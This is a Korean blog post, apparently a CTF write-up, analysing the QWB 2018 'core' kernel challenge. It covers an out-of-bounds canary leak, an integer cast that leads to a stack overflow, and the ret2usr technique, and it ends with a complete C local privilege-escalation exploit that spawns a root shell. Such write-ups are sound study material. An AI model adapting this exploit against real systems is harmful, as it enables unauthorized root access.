Sechack

QWB CTF 2018 - core 문제 분석 본문

Pwnable/Linux Kernel

QWB CTF 2018 - core 문제 분석

Sechack 2021. 7. 31. 01:01
반응형

드림핵에 kpwnote문제를 풀고싶어서 시작한 커널 공부이다. kpwnote는 몇시간전에 삽질하다가 결국 풀긴 했다. 목표를 달성했으니 커널공부는 좀 나중에 다시하지 않을까 싶다. 아무튼 커널 입문으로 core문제가 좀 유명하길래 이 문제로

ret2usr이라는 기법을 공부했다.

 

 

ret2usr은 유저모드에서 커널영역의 주소를 실행하거나 접근하는것은 제한되지만 반대로 커널모드에서는 유저영역에 자유롭게 접근할 수 있다는 특징을 이용해서 커널 모듈의 취약점으로 인해서 rip를 원하는대로 변조할 수 있는 상황에서 프로세스의 코드에 미리 권한상승을 수행하는 코드를 구현해놓고 해당 함수의 주소로 rip를 덮어서 유저영역에 구현해둔 악의적인 코드가 커널 권한으로 실행되도록 유도하는 기법이다.

 

 

 

 

본격적으로 core문제를 분석해보자. 문제 파일은 아래 github에서 받을 수 있다.

 

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/kernel/QWB2018-core

 

GitHub - ctf-wiki/ctf-challenges

Contribute to ctf-wiki/ctf-challenges development by creating an account on GitHub.

github.com

 

 

들어가서 core_give.tar.gz파일을 다운받으면 된다.

 

 

압축을 풀어보면 4개의 파일이 있다. bzImage파일은 압축된 커널 이미지 파일이다. 부팅시에 사용한다. core.cpio파일은 file system을 압축시켜놓은 파일로 압축을 해제해보면 우리가 분석하고자 하는 모듈(ko파일)을 얻을 수 있다. 이 ko파일을 IDA와 같은 디버거로 분석해보면서 해당 모듈의 취약점을 찾고 익스플로잇을 작성할 수 있다.

start.sh파일은 qemu의 실행 옵션이 들어가 있는 셸 스크립트 파일이다. 마지막으로 vmlinux파일은 커널 컴파일시 생성되는 이미지 파일이다. vmlinux를 통해서 함수 offset같은걸 알아낼 수 있다.

 

 

 

 

먼저 core.cpio파일의 압축을 해제해보자.

 

 

mkdir core
cp core.cpio ./core
cd ./core
cp core.cpio core.gz
gzip -d core.gz
cpio -id -v <core

 

 

core디렉터리를 하나 만들어주고 core.cpio를 해당 디렉터리로 복사해서 core디렉터리에서 확장자 바꿔주고 압축을 푸는 작업이다. 마지막 명령어까지 실행하고 나면

 

 

 

이렇게 압축이 해제된것을 볼 수 있다. 그리고 우리가 원하던 커널 모듈 파일인 core.ko파일도 추출된것을 볼 수 있다. 이제 저걸 IDA와 같은 디버깅 툴로 분석하면서 취약점을 찾으면 된다. 이 문제같은 경우에는 압축을 풀자마자 ko파일이 바로 보였지만 /lib디렉터리 안에 있는 경우도 많다. 그리고 드림핵에 kpwnote문제같은 경우에는 커널 모듈 파일이 아무리 찾아도 안보여서 그냥 제공해주는 소스코드만 보고 진행하긴 했다. 아무튼 core.ko파일을 분석해보자.

 

 

 

모듈이 로드되고 가장 처음에 실행되는 함수이다. proc_create함수가 있는데 core라는 이름의 드라이버를 /proc디렉터리에 생성하는 역할을 한다. 그리고 마지막 인자로 전달되는 core_fops를 보면

 

 

 

write함수와

 

 

 

ioctl함수, release가 정의되어 있는것을 볼 수 있다. 이 fops에 등록되어 있지 않으면 함수를 직접적으로 부르지 못한다. 지금 core_write가 등록되어 있는데 이걸 호출하려면 write함수에 open("/proc/core", O_RDWR)를 해서 반환된 fd를 넣어주면 해당 드라이버의 write가 호출이 되는 방식이다. 이제 한번 core_ioctl함수를 봐보자.

 

 

 

core_ioctl함수는 fops에 등록되어있기 때문에 직접적으로 부를 수 있다. 그리고 여기서 fops에 등록되지 않은 core_read함수를 호출할 수 있다. core_read는 fops에 등록되지 않아서 read(fd, buf, size) 이런식으로 직접 호출하지는 못하지만 ioctl함수를 이용해서 간접적으로 호출할 수 있는것이다. 그리고 이 ioctl함수에서는 core_read말고도 core_copy_func라는 함수를 호출하는 기능과 전역변수인 off의 값을 마음대로 바꿀 수 있는 총 3가지 기능을 인자만 맞게 주면 원하는대로 호출해서 사용할 수 있다.

 

 

 

먼저 core_read함수이다. 여기서 사용되는 copy_to_user함수는 커널 영역의 메모리를 사용자 영역의 메모리로 복사할때 쓰이는 함수이다. 반대로 사용자 영역의 메모리를 커널영역으로 복사하고자 할때는 copy_from_user함수를 사용한다. 아무튼 첫번째 취약점은 저 copy_to_user함수에서 발생한다. 스택에 있는 v5변수의 인덱스로 off전역변수의 값을 사용하는데 앞서 core_ioctl함수에서 봤듯이 off전역변수를 마음대로 조작할 수 있다. 즉 oob로 인해서 임의 주소 leak이 가능해진다. IDA슈도코드로 봤을때 함수 프롤로그와 에필로그에 _readgsqword를 통해서 값을 비교하는걸로 보아 카나리가 있는 바이너리로 예상이 된다.

 

 

 

역시나 카나리가 걸려있는걸 볼 수 있다. 저 oob취약점은 이 카나리를 릭할때 써야할것 같다. 하지만 저 oob만으로는 익스를 하지 못한다. 단순히 값을 읽어오는것 뿐이다. 다른곳에서 취약점이 터지는지 더 살펴보겠다.

 

 

 

core_copy_func함수이다. 인자로 입력받은 size만큼 qmemcpy함수를 이용해서 전역변수의 값을 스택에 복사한다. 여기서 자세히 보면 또 하나의 취약점이 발생하는데 인자로 받는 size는 signed타입이지만 63보다 큰지 검증을 하고나서 else문으로 빠지고 qmemcpy함수의 인자로 전달될때는 unsigned형태로 바뀌어서 들어가게 된다. type casting으로 인해 발생하는 integer underflow로 인해서 stack buffser underflow를 트리거할 수 있게 된것이다. 그러면 우리는

0x8000000000000000보다 큰 값을 넘겨주면 signed자료형에서는 부호비트로 인해서 음수로 인식되서 if문을 통과하지만 unsigned로 바뀌면서 매우 큰값이 되서 정상적으로 취약점이 트리거가 될것이다. 이제 한가지 문제가 있다. name전역변수를 스택으로 복사하는건데 결과적으로는 name전역변수에 우리가 원하는 payload를 넣어야 할것이다. 어떻게 name전역변수를 조작할 수 있을까?

반응형

 

 

 

앞서 봤던 fops에 등록되었던 함수중에 core_write라는 함수가 있었다. 다행히도 이녀셕이 copy_from_user함수를 이용해서 0x800크기 이하의 길이 한정해서 name전역변수로 우리가 전달한 버퍼의 값을 복사해준다. 0x800은 rip를 덮고도 한참 남는 크기니까 신경 안써도 된다.

 

이렇게 모든 분석이 끝났다. 이제 시나리오를 짜보자.

 

 

1. core_read함수의 oob취약점을 이용해서 stack canary를 leak한다.

 

 

2. core_write함수를 이용해서 name전역변수에 payload를 넣어둔다.

 

 

3. core_copy_func함수의 type casting으로 인한 integer under취약점을 이용해서 stack buffer overflow를 트리거한다. 최종적으로 rip는 유저영역(익스플로잇 프로그램)에 정의해둔 exploit함수의 주소로 덮이면서 유저영역의 exploit함수를 커널모드로 실행하게 되면서 exploit함수 내부에 미리 정의해준 commit_creds(prepare_kernel_cred(0))를 호출하게 되면서 권한상승을 수행하고 iret을 통해서 미리 구성해둔 Trap Frame을 이용해서 다시 사용자 모드로 복귀한뒤에 system("/bin/sh");를 호출해서 셸을 열어주면 root권한으로 셸이 실행된다.

 

 

 

 

시나리오까지 구성했지만 아직 한가지 문제가 남아있다.

 

 

 

start.sh를 보면 kaslr이 걸려있다. 따라서 commit_creds함수의 주소와 prepare_kernel_cred의 함수 주소가 매번 바뀌므로 leak을 통해서 kernel_base주소를 구해오고 vmlinux파일에서 해당 함수의 offset을 추출해서 더해줘야 한다. 앞서 분석해본 취약점인 oob를 통해서 스택에 남아있는 함수 주소를 긁어올 수도 있겠지만 굳이 그럴 필요가 없다.

 

 

 

그 이유는 아까 cpio.ko와 같은 디렉터리에 있는 init파일을 보면 알 수 있다. kadr로 인해서 현재 커널 함수들의 주소를 저장하고 있는 /proc/kallsyms는 root사용자만 읽을 수 있다. root가 아닌 사용자가 읽으려고 시도하면 모든 주소가 0으로 표시되면서 별다른 소득을 얻지 못한다. 하지만 init파일을 보면 cat /proc/kallsyms > /tmp/kallsyms 이런 문장이 보인다. /proc/kallsyms는 읽을 권한이 없지만 /tmp/kallsyms는 읽을 수 있다. /tmp/kallsyms에는 /proc/kallsyms의 내용들이 그대로 복사되니까 우리는 /tmp/kallsyms파일을 읽음으로써 leak을 할 수 있게 된다. 이제 leak까지 해결되었으니까 앞에서 짜본 시나리오를 바탕으로 익스플로잇을 제작해보자.

 

 

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>

#define CORE_READ 1719109787
#define CORE_OFFSET 1719109788
#define CORE_COPY 1719109786

void *(*prepare_kernel_cred)(void *);
int (*commit_creds)(void *);

struct trap_frame{
	uint64_t user_rip;
	uint64_t user_cs;
	uint64_t user_rflags;
	uint64_t user_rsp;
	uint64_t user_ss;
}__attribute__((packed));

struct trap_frame tf;

void shell()
{
	system("/bin/sh");
}
void backup_tf(void) {
	asm("mov tf+8, cs;"
        "pushf; pop tf+16;"
        "mov tf+24, rsp;"
	"mov tf+32, ss;"
       	);
	tf.user_rip = &shell;
}
void *get_addr(char *name)
{
	void *addr = NULL;
	char sym[200] = { 0, };

	FILE *fp = fopen("/tmp/kallsyms", "r");

	while (fscanf(fp, "%p %*c %200s\n", &addr, sym) > 0)
    	{
        	if(strcmp(sym, name) == 0) break;
        	else addr = NULL;
    	}

    	fclose(fp);

    	return addr;
}
void exploit()
{
	commit_creds(prepare_kernel_cred(0));
    	asm("swapgs;"
        "mov %%rsp, %0;"
        "iretq;"
        : : "r" (&tf));
}
int main(void)
{
	int fd = open("/proc/core", O_RDWR);
	prepare_kernel_cred = get_addr("prepare_kernel_cred");
    	commit_creds = get_addr("commit_creds");

	char tmp[70] = { 0, };
	char canary[8] = { 0, };
	char payload[0x70] = { 0, };

	ioctl(fd, CORE_OFFSET, 0x40);
	ioctl(fd, CORE_READ, tmp);

	memcpy(canary, tmp, 8);

	memset(payload, 'a', 0x40);
	memcpy(payload+0x40, canary, 8);
	memset(payload+0x48, 'a', 8);
	*(uint64_t *)(payload+0x50)=(uint64_t)exploit;
	backup_tf();

	write(fd, payload, 0x58);
	ioctl(fd, CORE_COPY, 0x8000000000000058);

	return 0;
}

 

완성된 exploit이다. 마지막에 0x8000000000000058을 준 이유는 integer underflow로 인해서 0x8000000000000000이 0이 되니까 +0x58을 해줘서 payload를 0x58byte만큼 복사할 수 있게 해준것이다.

그리고 commit_creds(prepare_kernel_cred(0))으로 권한상승을 수행하고 바로 system("/bin/sh")를 불러주면 system함수를 호출하는 환경은 커널모드이므로 환경이 맞지 않아서 커널패닉이 발생한다. 따라서 권한상승을 수행한 후에 유저모드로 복귀해서 셸을 호출해야 한다. 먼저 swapgs를 호출해서 GSBase를 사용자 모드의 것으로 교체한다. 그 후에

iret을 이용해서 유저모드로 복귀해주는데 iret은 스택에 저장해준 Trap Frame이라는 구조체를 이용하여 원래 실행 상태를 복구하므로 적절하게 스택에 Trap Frame을 구성해둔 후 iret을 하면 유저모드로 복귀가 되고 이때 rip에는 shell함수의 주소가 저장되어있으므로 최종적으로는 root권한으로 셸이 따이게 된다.

 

 

gcc -masm=intel -static -o ex ex.c
./gen_cpio.sh core.cpio
cp core.cpio ../core.cpio
cd ..
./start.sh

 

 

우리는 core디렉터리에서 작업한거고 처음에 core.cpio를 압축해제해서 core.ko파일을 추출해냈었다. 이제는 core.cpio파일에 우리가 작성한 익스플로잇을 포함시켜서 압축한다음 사용하면 된다. 그리고 gcc로 컴파일할때 반드시 static옵션을 붙여줘야 한다. 그 이유는 커널에서 동적 링커를 찾지 못해서 익스플로잇이 실행되지 않을 수 있기 때문이다.

 

 

익스플로잇을 실행해보면

 

 

 

성공적으로 권한상승이 되서 root셸이 실행된것을 볼 수 있다.

반응형
Comments